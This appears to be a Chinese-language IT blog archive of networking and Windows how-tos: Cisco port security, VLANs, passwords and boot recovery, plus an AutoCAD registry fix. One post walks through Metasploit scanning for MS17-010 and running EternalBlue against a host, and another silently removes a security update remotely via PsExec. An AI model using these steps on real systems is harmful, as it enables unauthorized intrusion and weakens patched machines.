2018年1月3日 星期三

Cisco-Port Security

啟用port-security
Switch#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#int fa0/1
Switch(config-if)#switchport port-security  ##Switchport預設為dynamic,須改為access才可啟用port-secruity
Command rejected: FastEthernet0/1 is a dynamic port.
Switch(config-if)#switchport mode access ##將switchport mode更改為存取埠(access)模式
Switch(config-if)#switchport port-security ##啟用port-secruity
Switch#show port-security interface fa0/1  ##查詢fa0/1的port-secruity狀態

手動輸入綁定Mac address
Switch(config)#int fa0/1 
Switch(config-if)#switchport port-security mac-address 00d0.ffa7.5801 ##設定靜態MAC
Found duplicate mac-address 00d0.ffa7.5801.   ##因MAC Address-Table已有此MAC紀錄,需要先關閉此介面才可設定
Switch(config-if)#shutdown
%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to administratively down
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to down
Switch(config-if)#switchport port-security mac-address 00d0.ffa7.5801
Switch(config-if)#no shutdown
Switch(config-if)#
%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up
Switch(config-if)#
Switch#show port-security interface fa0/1  ##查詢fa0/1的port-secruity狀態
Switch#show port-security address   ##查詢Secure Mac Address Table

設定MAC最大連線數
Switch(config-if)#switchport port-security maximum 2  ##設定最大連線數為2(預設為1)
Switch(config-if)#switchport port-security mac-address 00d0.ffa7.5802  ##設定靜態MAC
Switch(config-if)#shutdown
Switch(config-if)#no shutdown
Switch(config-if)#do show port-security interface fa0/1  ##查詢fa0/1的port-secruity狀態

設定自動紀錄MAC(Sticky)
Switch(config)#int fa0/2 
Switch(config-if)#switchport mode access     
Switch(config-if)#switchport port-security           
Switch(config-if)#switchport port-security maximum 2         
Switch(config-if)#switchport port-sceurity mac-address sticky ##設定自動記錄MAC
此時可以分別接上2台設備做連線測試,讓Switch可記錄2台的MAC Address,學習到的MAC會自動寫入Run組態檔
Switch(config-if)#do show port-security interface fa0/2  ##查詢fa0/2的port-secruity狀態
Switch#show port-security address  ##查詢Secure Mac Address Table

設定違規安全MAC處理方式(Violation Mode)
Switch(config-if)#switchport port-security violation ?
  protect   Security violation protect mode ##保護認證過的MAC,阻擋未認證的MAC
  restrict  Security violation restrict mode ##保護認證過的MAC,阻擋未認證的MAC,並紀錄在Log中
  shutdown  Security violation shutdown mode ##此為預設值,會讓該Port Shutdown,被停用後必須輸入shutdown再輸入no shutdown才可以解除

其他指令
Switch#show mac-address-table      ##查詢交換器上的mac table
Switch#clear mac-address-table       ##清除交換器上的mac table
Switch#show port-security address  ##查詢Secure Mac Address Table
Switch#clear port-security all          ##清除Secure Mac Address Table


2018年1月2日 星期二

Cisco VLAN and Trunk

Cisco VLAN and Trunk

VLAN
1.建立Vlan 10,命名為student,將所有的Ports移至Vlan 10
Switch#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#vlan 10
Switch(config-vlan)#name students
Switch(config-vlan)#do sh vlan
Switch(config)#int range fa0/1-24,gi0/1-2
Switch(config-if-range)#switchport access vlan 10
Switch(config-if-range)#do sh vlan

Trunk
指定fa0/24介面為Trunk Port
Switch(config)#int fa0/24
Switch(config-if)#switchport mode trunk
Switch(config-if)#do show int trunk
Switch(config-if)#do sh int fa0/24 switchport
Switch(config-if)#switchport nonegotiate      #停止協商
Switch(config-if)#switchport trunk native vlan 10  #修改Native Vlan (no tag)
Switch(config-if)#do sh int trunk
Switch(config-if)#switchport trunk allowed vlan 10  #限制Vlan 10才可使用主幹連線
Switch(config-if)#do sh int trunk
Switch(config-if)#switchport trunk allowed vlan add 20  #增加Vlan 20也可使用主幹連線
Switch(config-if)#do sh int trunk
Switch(config-if)#switchport trunk allowed vlan remove 20  #取消Vlan 20使用主幹連線
Switch(config-if)#do sh int trunk

2018年1月1日 星期一

使用指令移除微軟更新程式KBXXXXXXX

以無訊息模式移除安全性更新
「wusa.exe /uninstall /kb:3191898 /quiet /norestart」

如有多部電腦,可從遠端移安全性更新
「Psexec -d -s \\PCNAME wusa.exe /uninstall /kb:3191898 /quiet /norestart」

2017年12月18日 星期一

Cisco Router 登入帳號密碼建立

建立帳號密碼
Router(config)#username ciscoadmin password  kali224466

提升最高權限
Router(config)#username ciscoadmin privilege 15

設定進入Console密碼
Router(config)#line console 0
Router(config-line)#password kali224466
Router(config-line)#login

設定進入Telnet密碼
Router(config)#line vty 0 15
Router(config-line)#password kali224466
Router(config-line)#login

設定enable的密碼
Router(config)#enable password kali224466

設定enable的密碼以加密方式儲存(登入時優先輸入)
Router(config)#enable secret kali22446688

以上密碼(除enable secret)使用show run就可以看到密碼,可以使用service password-encryption針對密碼進行加密
Router(config)#service password-encryption

使用本地帳號驗證
Router(config)#line console 0
Router(config-line)#password kali224466
Router(config-line)#login local

2017年10月30日 星期一

Kali Linux - Metasploit 使用方法

1.更新metasploit版本
apt-get update
apt-get install metasploit-framework

2.開啟Metasploit
msfconsole

3.常用指令說明
help:檢視執行指令的資訊
search module:搜尋特定模組
use module:載入特定模組
info:查訊目前使用模組的資訊
options:查看需要設定的參數
set option module:設定模組內的參數
check:測試
run:執行滲透攻擊模組
back:回到上層

範例 - 攻擊Microsoft的MS17_010漏洞

search ms17_010


a.大範圍搜索攻擊目標
use auxiliary/scanner/smb/smb_ms17_010
options
set RHOSTS 192.168.33.1/24
set THREADS 16
run


















 
b.攻擊特定目標
use exploit/windows/smb/ms17_010_eternalblue
options
set RHOST 192.168.33.106
RUN


c.滲透成功
ipconfig
whoami

2017年10月26日 星期四

Word、Excel、PowerPoint無法插入物件(CAD圖檔 *.dwg)、或開啟物件(CAD圖檔 *.dwg)會出現錯誤訊息

問題描述:
1.Word、Excel、PowerPoint插入物件DWG圖檔,出現「無法插入物件」。
2.開啟Word、Excel、PowerPoint內DWG圖檔,出現「無法啟動此內嵌物件的來源應用程式」。











解決方法:
1.查詢AutoCAD版本的CLSID
執行「regedit」開啟登錄編輯程式,展開HKEY_CLASSES_ROOT\AutoCAD.Drawing.[格式編號]\CLSID,查詢AutoCAD的CLSID。
ex:
HKEY_CLASSES_ROOT\AutoCAD.Drawing.20\CLSID =>AutoCAD 2016
HKEY_CLASSES_ROOT\AutoCAD.Drawing.21\CLSID =>AutoCAD 2017

目前已知的AutoCAD版本CLSID碼如下
R14:{5E4405B0-5374-11CE-8E71-0020AF04B1D7}
2000/2001/2002:{4D3263E4-CAB7-11D2-802A-0080C703929C}
2004/2005/2006:{8E75D913-3D21-11D2-85C4-080009A0C626}
2007/2008/2009:{7AABBB95-79BE-4C0F-8024-EB6AF271231C}
2010/2011/2012:{D70E31AD-2614-49F2-B0FC-ACA781D81F3E}
2013/2014/2015:{6A221957-2D85-42A7-8E19-BE33950D1DEB}
2016:{149DD748-EA85-45A6-93C5-AC50D0260C98}
2017:{720DB9AF-D62C-4ED0-A377-429C22312852}


2.複製底下米字內的內容,貼上至記事本,根據您使用的CAD版本,更改@後面的CLSID值(以下是使用AutoCAD 2016),儲存為reg檔後執行。

******************************************************************************
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{5E4405B0-5374-11CE-8E71-0020AF04B1D7}\AutoConvertTo]
@="{149DD748-EA85-45A6-93C5-AC50D0260C98}"

[HKEY_CLASSES_ROOT\CLSID\{4D3263E4-CAB7-11D2-802A-0080C703929C}\AutoConvertTo]
@="{149DD748-EA85-45A6-93C5-AC50D0260C98}"

[HKEY_CLASSES_ROOT\CLSID\{8E75D913-3D21-11d2-85C4-080009A0C626}\AutoConvertTo]
@="{149DD748-EA85-45A6-93C5-AC50D0260C98}"

2017年10月11日 星期三

Cisco Router 重開機會進入rommon模式

請檢查映像檔是否還在及組態暫存器值,也可試著設定boot system

1.檢查falsh0內的IOS 映像檔是否還在
Cisco_Router#dir flash:
Directory of flash0:/

    1  -rw-    76900964   Sep 2 2015 14:11:48 +00:00  c1900-universalk9-mz.SPA.155-1.T1.bin
    2  -rw-        3066   Sep 2 2015 14:20:34 +00:00  cpconfig-19xx.cfg
    3  -rw-         720  Dec 29 2015 11:29:16 +00:00  vlan.dat
    4  drw-           0   Sep 2 2015 14:20:56 +00:00  ccpexp
  459  -rw-        2885   Sep 2 2015 14:24:46 +00:00  home.shtml

2.檢查當前的組態暫存器值是否為0x2102
Cisco_Router#show version

Configuration register is 0x2102

如果不是0x2102,更改指令如下
Cisco_Router#conf t
Cisco_Router(config)#config-register 0x2102
[Ctrl-Z]
Cisco_Router#reload

3.設定boot system
Cisco_Router#dir flash:
Directory of flash0:/

    1  -rw-    76900964   Sep 2 2015 14:11:48 +00:00  c1900-universalk9-mz.SPA.155-1.T1.bin
    2  -rw-        3066   Sep 2 2015 14:20:34 +00:00  cpconfig-19xx.cfg
    3  -rw-         720  Dec 29 2015 11:29:16 +00:00  vlan.dat
    4  drw-           0   Sep 2 2015 14:20:56 +00:00  ccpexp
  459  -rw-        2885   Sep 2 2015 14:24:46 +00:00  home.shtml

設定前,無boot system資料
Cisco_Router#show run | inc boot
boot-start-marker
boot-end-marker

Cisco_Router#conf t
Cisco_Router(config)#boot system flash0:c1900-universalk9-mz.SPA.155-1.T1.bin
[Ctrl-Z]
Cisco_Router#write

設定後
Cisco_Router#show run | inc boot
boot-start-marker
boot system flash0:c1900-universalk9-mz.SPA.155-1.T1.bin
boot-end-marker